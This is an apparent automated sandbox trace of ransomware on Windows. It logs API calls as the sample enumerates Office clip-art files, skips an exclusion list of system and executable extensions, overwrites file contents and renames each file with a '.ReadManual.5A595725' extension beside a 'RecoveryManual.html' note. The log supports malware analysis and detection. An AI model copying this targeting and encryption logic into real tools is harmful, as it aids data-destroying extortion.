1 [0262.905] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.905] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" [0262.905] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.ReadManual.5A595725" [0262.905] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.ReadManual.5A595725") returned 87 [0262.905] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38357417605) returned 1 [0262.905] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0262.906] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.906] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9010) returned 1 [0262.906] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2332, lpName=0x0) returned 0x184 [0262.907] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.907] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.907] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.909] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.909] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2332) returned 0x2f0000 [0262.909] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.910] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38357831916) returned 1 [0262.910] CloseHandle (hObject=0x184) returned 1 [0262.910] SetSecurityInfo () returned 0x57 [0262.910] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.910] CloseHandle (hObject=0x194) returned 1 [0262.910] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0262.910] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00799_.WMF" | out: lpString1="FD00799_.WMF") returned="FD00799_.WMF" [0262.910] lstrcmpiW (lpString1="FD00799_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.910] StrStrIW (lpFirst="FD00799_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.910] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.910] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.910] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" [0262.910] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.ReadManual.5A595725" [0262.911] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.ReadManual.5A595725") returned 87 [0262.911] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38357933506) returned 1 [0262.911] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0262.911] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.911] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13968) returned 1 [0262.911] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3690, lpName=0x0) returned 0x184 [0262.911] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.912] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.912] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.914] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.914] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3690) returned 0x2f0000 [0262.914] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.914] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38358309280) returned 1 [0262.914] CloseHandle (hObject=0x184) returned 1 [0262.914] SetSecurityInfo () returned 0x57 [0262.915] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.915] CloseHandle (hObject=0x194) returned 1 [0262.915] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0262.915] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00814_.WMF" | out: lpString1="FD00814_.WMF") returned="FD00814_.WMF" [0262.915] lstrcmpiW (lpString1="FD00814_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.915] StrStrIW (lpFirst="FD00814_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.915] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.915] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.915] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" [0262.915] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.ReadManual.5A595725" [0262.915] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.ReadManual.5A595725") returned 87 [0262.915] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38358405212) returned 1 [0262.915] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0262.916] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.916] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42704) returned 1 [0262.916] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa6d0, lpName=0x0) returned 0x184 [0262.917] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.917] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.917] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.919] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.920] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa6d0) returned 0x2f0000 [0262.921] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.921] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38358974288) returned 1 [0262.921] CloseHandle (hObject=0x184) returned 1 [0262.921] SetSecurityInfo () returned 0x57 [0262.921] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.921] CloseHandle (hObject=0x194) returned 1 [0262.921] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0262.921] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00965_.WMF" | out: lpString1="FD00965_.WMF") returned="FD00965_.WMF" [0262.921] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.921] StrStrIW (lpFirst="FD00965_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.921] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.921] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.921] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.922] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.922] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" [0262.922] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.ReadManual.5A595725" [0262.922] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.ReadManual.5A595725") returned 87 [0262.922] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38359071705) returned 1 [0262.922] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0262.923] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.923] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15164) returned 1 [0262.923] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b3c, lpName=0x0) returned 0x184 [0262.923] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.924] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.924] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.926] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.926] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b3c) returned 0x2f0000 [0262.926] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.926] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38359508728) returned 1 [0262.926] CloseHandle (hObject=0x184) returned 1 [0262.926] SetSecurityInfo () returned 0x57 [0262.927] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.927] CloseHandle (hObject=0x194) returned 1 [0262.927] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0262.927] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01074_.WMF" | out: lpString1="FD01074_.WMF") returned="FD01074_.WMF" [0262.927] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.927] StrStrIW (lpFirst="FD01074_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.927] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.927] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.927] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" [0262.927] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.ReadManual.5A595725" [0262.927] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.ReadManual.5A595725") returned 87 [0262.927] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38359603124) returned 1 [0262.927] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0262.927] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.928] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4634) returned 1 [0262.928] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x121a, lpName=0x0) returned 0x184 [0262.928] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.929] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.929] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.930] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.931] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x121a) returned 0x2f0000 [0262.931] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.931] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38359955456) returned 1 [0262.931] CloseHandle (hObject=0x184) returned 1 [0262.931] SetSecurityInfo () returned 0x57 [0262.931] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.931] CloseHandle (hObject=0x194) returned 1 [0262.931] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0262.931] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01084_.WMF" | out: lpString1="FD01084_.WMF") returned="FD01084_.WMF" [0262.931] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.931] StrStrIW (lpFirst="FD01084_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.931] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.931] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.932] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.932] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.932] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.932] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.932] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" [0262.932] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.ReadManual.5A595725" [0262.932] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.ReadManual.5A595725") returned 87 [0262.932] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38360050080) returned 1 [0262.932] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0262.932] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 